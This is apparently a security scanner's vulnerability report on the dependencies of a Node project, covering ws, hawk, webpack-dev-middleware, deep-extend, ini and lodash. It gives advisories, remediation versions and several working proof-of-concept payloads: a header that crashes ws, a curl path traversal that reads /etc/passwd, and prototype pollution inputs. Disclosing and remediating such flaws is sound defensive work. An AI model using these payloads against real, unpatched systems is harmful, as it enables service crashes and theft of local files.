There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade unset-value to version 2.0.1 or higher.
References
high severity
- Vulnerable module: ws
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › engine.io@1.8.3 › ws@1.1.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › engine.io-client@1.8.3 › ws@1.1.2Remediation: Upgrade to sails@1.0.0.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS)
attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.
PoC:
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade ws to version 1.1.5, 3.3.1 or higher.
References
high severity
- Vulnerable module: hawk
- Introduced through: nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › hawk@3.1.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3
Overview
hawk is a library for the HTTP Hawk Authentication Scheme.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in header parsing where each added character in the attacker's input increases the computation time exponentially.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hawk to version 9.0.1 or higher.
References
high severity
- Vulnerable module: webpack-dev-middleware
- Introduced through: webpack-dev-middleware@1.12.2
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack-dev-middleware@1.12.2Remediation: Upgrade to webpack-dev-middleware@5.3.4.
Overview
Affected versions of this package are vulnerable to Path Traversal due to insufficient validation of the supplied URL address before returning the local file. This issue allows accessing any file on the developer's machine. The middleware can operate with either the physical filesystem or a virtualized in-memory memfs filesystem. When the writeToDisk configuration option is set to true, the physical filesystem is utilized. The getFilenameFromUrl method parses the URL and constructs the local file path by stripping the public path prefix from the URL and appending the unescaped path suffix to the outputPath. Since the URL is not unescaped and normalized automatically before calling the middleware, it is possible to use %2e and %2f sequences to perform a path traversal attack.
Notes:
This vulnerability is exploitable without any specific configurations, allowing an attacker to access and exfiltrate content from any file on the developer's machine.
If the development server is exposed on a public IP address or
0.0.0.0, an attacker on the local network can access the files without victim interaction.If the server permits access from third-party domains, a malicious link could lead to local file exfiltration when visited by the victim.
PoC
A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };
When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
Remediation
Upgrade webpack-dev-middleware to version 5.3.4, 6.1.2, 7.1.0 or higher.
References
high severity
- Vulnerable module: deep-extend
- Introduced through: rc@1.0.1 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › rc@1.0.1 › deep-extend@0.2.11Remediation: Upgrade to rc@1.2.7.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rc@1.0.1 › deep-extend@0.2.11Remediation: Upgrade to sails@1.2.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › rc@0.3.5 › deep-extend@0.2.11Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › rc@0.3.5 › deep-extend@0.2.11Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › rc@0.3.5 › deep-extend@0.2.11Remediation: Upgrade to sails@1.0.0.
Overview
deep-extend is a library for Recursive object extending.
Affected versions of this package are vulnerable to Prototype Pollution. Utilities function in all the listed modules can be tricked into modifying the prototype of "Object" when the attacker control part of the structure passed to these function. This can let an attacker add or modify existing property that will exist on all object.
PoC by HoLyVieR
var merge = require('deep-extend');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade deep-extend to version 0.5.1 or higher.
References
high severity
- Vulnerable module: ini
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › rc@0.3.5 › ini@1.1.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › rc@0.3.5 › ini@1.1.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › rc@0.3.5 › ini@1.1.0Remediation: Upgrade to sails@1.0.0.
Overview
ini is an An ini encoder/decoder for node
Affected versions of this package are vulnerable to Prototype Pollution. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
PoC by Eugene Lim
payload.ini
[__proto__]
polluted = "polluted"
poc.js:
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade ini to version 1.3.6 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to grunt-contrib-jst@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-cursor@0.0.6 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-adapter@0.10.7 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-backend@0.12.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-controller@0.10.9 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-gruntfile@0.10.11 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-model@0.10.12 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-sails.io.js@0.13.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views@0.10.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views-jade@0.10.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › zip-stream@0.4.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › merge-defaults@0.1.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › sails-generate-sails.io.js@0.14.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › switchback@2.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-criteria@0.11.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › rttc@1.0.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to grunt-contrib-watch@1.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › include-all@1.0.8 › lodash@3.10.1Remediation: Upgrade to include-all@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails-disk@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › lodash@3.10.1Remediation: Upgrade to sails-postgresql@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › include-all@1.0.8 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rttc@9.3.3 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › lodash@3.10.1Remediation: Upgrade to sails@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-schema@0.2.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › lodash@3.9.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-new@0.10.29 › lodash@3.9.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › lodash@2.4.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › rttc@9.3.4 › lodash@3.8.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-sequel@0.5.7 › lodash@3.10.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.
PoC by Snyk
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
For more information, check out our blog post
Details
